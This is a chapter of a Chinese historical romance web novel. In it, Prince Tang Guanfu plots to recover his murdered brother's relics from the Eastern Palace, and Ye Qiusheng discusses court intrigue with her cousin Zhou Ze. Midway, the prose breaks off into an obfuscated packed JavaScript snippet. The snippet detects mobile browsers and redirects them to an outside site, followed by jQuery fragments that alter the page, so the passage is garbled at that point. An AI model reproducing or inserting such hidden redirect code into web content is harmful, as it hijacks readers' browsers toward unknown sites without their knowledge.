次日，天还未亮，唐观复与随行侍卫就骑马离开了别院，出发时，空中还飘着细碎的雪，一行人继续冒雪前行，但此时距离京城也不过几十里路，很快抵达城门外，城门还未大开。
经过昨夜，再骑马踏进长安城时，唐观复自洛州得知东宫遇害前后心头烧了一路的火已经平熄，监门官查验凭证等待时，他甚至在想，要怎么自东宫神不知鬼不觉地拿到大哥的遗物，回府后需与府内严长史商议下，是找个理由去趟东宫，且不能让陛下起疑，还是直接让人潜入东宫慢慢找，东宫内各殿的大致方位他也熟悉。
监门官看过凭证后，点头哈腰请一行人进了城。
同一时刻，安定侯夫人叶氏与周择预备出城，原是侯府的姑奶奶刘周氏回京省亲，因此要在侯府里住上一段时日。昨日府内等候在城门外的人回报说姑奶奶已到城郊，昨夜就在十里外的镇上客栈歇息，今日晨间就能进城。晨起安定侯周济、周丛要当差，就由夫人叶氏与周择去迎接。
侯府姑奶奶是安定侯周济的姑母，早些年嫁了京城的官宦人家，后来丈夫去世，分家后就跟着儿子去了荆州享福，如今回京也是因为夫家有事处理，约莫需要一段时间，就住回侯府。
二人也没等太久，就见府中人骑马迎上来，后面跟着三辆马车，二人迎上前去与车内众人相认，好不热闹。
等侯府内终于安顿好姑奶奶刘周氏，同行的婶母刘杨氏还有两位表妹，已经是两日后了，侯夫人叶氏才堪堪放过周择，周择预备骑马出城探望叶秋声，又被自家大哥周丛拦住，说等休沐日二人一道去。
叶秋声这日午后正在院里踱步丈量院内距离，想着能不能让人在内院里立个箭靶，好练习射箭，婢子进来通传说，周家二公子到了，正朝内院来。
话音未落，周择就已经自来熟地踏进内院，“表姐，我可终于出门来见你了”，一身群青色缺胯袍隐在白色鹤氅下，手里还捏着马鞭，挥斥方遒。
“你来得正好，帮我看看能不能在院内设个箭靶。”叶秋声也不客气，周择上门还未茶酒招待，先顺手使唤上了。
周择站定，自檐下大跨步走到内院远门口，再抬眼扫了一圈内院大小，东西距离，走到叶秋声身侧，摇了摇头，“不合适，你要是设靶，长垛这里距离不合适，短距离的话，呐，”周择转身指了指内院里的石榴树，还有地上的卵石路，“这些都要移开，干脆简单立个箭靶，五十尺差不多可以。”
叶秋声点点头，邀周择往厅堂走，二人进了厅堂，婢子接走马鞭、大氅，又奉上热茶，周择舒服地点点头，“表姐，你跑到城外是对的，我要是学你，这两天也不必这么累。因着任孟成的事，加上也不知道娘亲从谁那听说我们俩去明月楼挑首饰，以为我对你有意，又训斥我白日做梦，大哥也没给我好脸色，天地良心啊表姐。前几日家里姑奶奶回京，娘又抓着我当壮丁，又是迎人又是作陪。”
周择说话绘声绘色，语气幽怨又委屈，喝了口茶，“还叫我作东道，领着表叔家两个表妹逛逛东西市，被我找事由躲过。本来今日大哥是要一道来得探望你的，结果上午被安排作陪姑奶奶一家，午后右卫大将军有请，所以就只有我登门了。”周择摊摊手，又神神秘秘地凑近叶秋声身旁，“说说你，你怎么回事？”
叶秋声喝了口茶，神色未变，凉凉开口：“因着任孟成的事，祖父觉得我牝鸡司晨，妄议朝政，难有妇人之德。”
“啊哈哈……老爷子是糊涂了吧。”
任孟成笑得趴在案几上，拍了拍案几，发出“咚咚”的声响，“养了只虎豹出来，却盼着虎豹食素，真是太有意思了，哈哈哈。”说完直起身又捂着笑得发疼的肚子。
叶秋声抬眼瞪了他一眼。
“你怎么想的？”周择擦了擦眼角笑出的眼泪。
“能怎么想？羽翼未丰之前，还不是任人摆布。”叶秋声垂眼盯着膝盖位置，明明膝盖上的淤青已经褪去，却仍觉得隐隐作痛。
“任孟成那事还有个小后续，你要听不？”周择挤眉弄眼。
“你说我就听。”叶秋声看着周择作怪，没拒绝听后续。
“吏部王侍郎，就是长公主门下那位，王广平大人，上书为任孟成开脱求情，赞陛下为天下表率，仁心宽政，彰显天家恩泽，奏折递上去了，但没动静。”
“私下听闻，信阳长公主当时正在为她家张岚相看，看中的是太原郡公家的郭项，你知道的，就美姿容、神仙人的那位，入了长公主的眼，但因为任孟成这事，啪……”周择做了个一拍两散的手势。
“长公主看中郭家什么？”叶秋声不解。
“你这话说的，公主府缺什么？就不能单纯是欣赏美人吗？”周择鄙夷叶秋声的疑问。
“郭家此时拒绝公主府的相看，这事告一段落后，要是后悔可就晚了，照陛下的态度，公主府稳固如山，恩宠依旧啊。”叶秋声喃喃道。
“你最近给我大哥写信了没？”周择突然问。
叶秋声被他这么一提醒，想到件事，“你回府后见到表兄，帮我问问他，就说当时法华寺借用我的那几个人，能不能再借用一次，我付双倍价钱。”
周择眯了眯双眼，心思微动，“魏王？”
叶秋声叹口气：“如果魏王回京是真的另有图谋，或许我们可以谈谈交易，但在这之前，有些事情需要确认下。”
“行吧，你自己心里有数就行。”周择倒也没多问。
两人说了会话，周择开始抱着肚子哀声连连，道叶秋声过河拆桥，自己骑马出城还未用过晌午饭，到了别院就被拉着套消息，现在套完了也不管他的死活，叶秋声赶紧打断，生怕他再吐出什么惊天动地的词来，让厨房给周择准备骆驼奶锅子，周择才肯罢休，很快又喜笑颜开。
周择吃过饭食还得赶在城门关闭前回城，叶秋声送他出院门，周择问她几时回家，叶秋声算了算时日，冬至前是要回家的。
看着周择骑马回城的身影，叶秋声知道他说的是对的，养出来虎豹，又怎么能妄想虎豹食素呢？紧了紧身上的斗篷，转身进了别院。
魏王府里，唐观复看着对面神色悲痛、捶胸顿足的长史严一宽，闭上眼，同样希望这情绪能更加痛彻心扉一点，好叫他清楚的记住兄长的枉死。
长史严一宽年轻时与太子志趣相投，君臣引为知己，所以太子将他安排给幼时的唐观复做老师，教五经和史论，太子薨逝后，严一宽说什么也要随唐观复一道去法华寺，并称“受君之托，终君之事”，太子既然将教导唐观复的责任托付给他，他一定要有始有终，才不负太子所托。
当时，已经小有名气的严一宽隐姓埋名在法华寺里常住，就是为了能继续教导唐观复。如今，得知当年太子是被害而亡，严一宽嚎啕大哭，只觉有愧于太子，未能为他申冤。
待严一宽擦干眼泪，二人重新商议如何自东宫将那遗物寻出。
“这两日我遣人在东宫附近蹲守查探，虽然自大哥故去后东宫空置，无人居住，但毕竟在太极宫里，想要神不知鬼不觉混进去找到遗物安全带出还不暴露，难，所以得想个办法让陛下同意我去东宫。”唐观复将这两日的查探说给严长史。
“既然我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209372|197380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无法在眼皮子底下潜进去，那就找个理由光明正大的，无可指摘的进去。你是东宫的亲弟弟，陛下冬至祭天后，你找借口回东宫拜祭先太子，到时候携一批侍从进东宫，找个东西还不容易。”严长史出的主意很简单，但实际执行就考验唐观复的随机应变了。
唐观复点了点头，表示自己差不多也是这个打算。
室内静默良久，唐观复迟疑，吞吐着问出声：“先生，你从大哥那里听到过他提过哪家女子吗？或者他当时有中意的人吗？”
唐观复觉得，间隔太久，东宫的遗物多半已经毁损，要说最重要的线索，就是同大哥有约的那名女子，但那女子身份不明，落水后就像消失了一般，没有她的身份特征，想要在偌大的在京城将她找出来，与大海捞针无异。
严一宽也是诧异，当时朝中是有大臣上奏尽早册立太子妃，但陛下并没有指明人选，多半是看太子自己的意思，但豫明太子宽仁温和，对待贵女们的态度也都是一视同仁，并未听闻他属意哪位贵女。
不管怎么说，当务之急是先拿到东宫遗物。
冬至前一日，朔风哭嚎，冷冽逼人，前些时日积的雪化得七七八八，反而更冷了，进入冬至后，数九寒天，民间要开始数九等着春天了。
叶秋声交待别院的管事，自己与侍从先行归家，若是过两日未回别院，就着人收拾行李送回城中，若过两日回了别院，就还要暂住一段时日，与清荷、裁红上了马车，众随从在后，一行人在寒风中回京中。
冬至前三后四日准令休假七日，所以叶秋声回家时，祖父叶逢、父亲叶秀云、二叔叶秀朗俱休假中，三人外出访友，杜氏外出查看嫁妆铺子，大哥叶秋岳虽也在休假，但太学冬至收假后有大考，所以在家温习功课，无暇外出，二婶程氏携二哥叶少京、妹妹叶莺一道去了安定侯府。
叶秋声觉着家里是比别院暖和一些，杜氏前两日就安排人把留芳院里收拾一翻，除了带去别院的东西，其他物件摆放都与原来一般无二。不欲此时去打扰叶秋岳，遣人去禀告主院说自己从别院回来过冬至，回到东面书房翻找起书信。
裁红在暖阁里整理叶秋声的衣物首饰，整理完后到书房见叶秋声还在四处翻找，试探着问道：“小姐要找什么？我和清荷来吧，书房里信件您可能不熟悉。”
叶秋声闻言，点点头，指了指放置卷轴、画轴的卷缸，“先把这个卷缸腾出来，卷轴统一收拢起来”，目光在书房内环顾几周，“再把我与所有人的往来信件找出来，归置到卷缸里。”
叶秋声回忆自己过往与大哥、周家还有杜家的信件，回想过往信件里平时都说些什么，大哥的信件多是话家常，杜家的信件也多是与杜家姐妹说长安、益州两地的风俗习惯和四时风光，与周家的信件就麻烦一些，尤其和周择的信件，里面不少内容都与朝中政事和重臣有关。
裁红、清荷找出各类信件放置在卷缸中，叶秋声自卷缸中捞出一封封信件打开查看纸上文字，甚至还看到一封周择取表字时的信件，他在信中说，父亲安定侯为他取了好几个表字，什么守成、慎独，他都不喜欢，他要自己选云云。
后来果然是周择给自己选的表字——栖梧，他私下里告诉叶秋声，识时务者为俊杰，良禽择木而栖，“凤凰鸣矣，于彼高岗，梧桐生矣，于彼朝阳”，既然选那就志存高洁，本心难灭，非梧桐不栖。
好一个本心难灭，叶秋声长叹一口气，摇了摇头，合上信笺，放回卷缸里。
裁红、清荷面面相觑，不明白叶秋声为何突然要把所有往来信件找出来，又对着信件长吁短叹。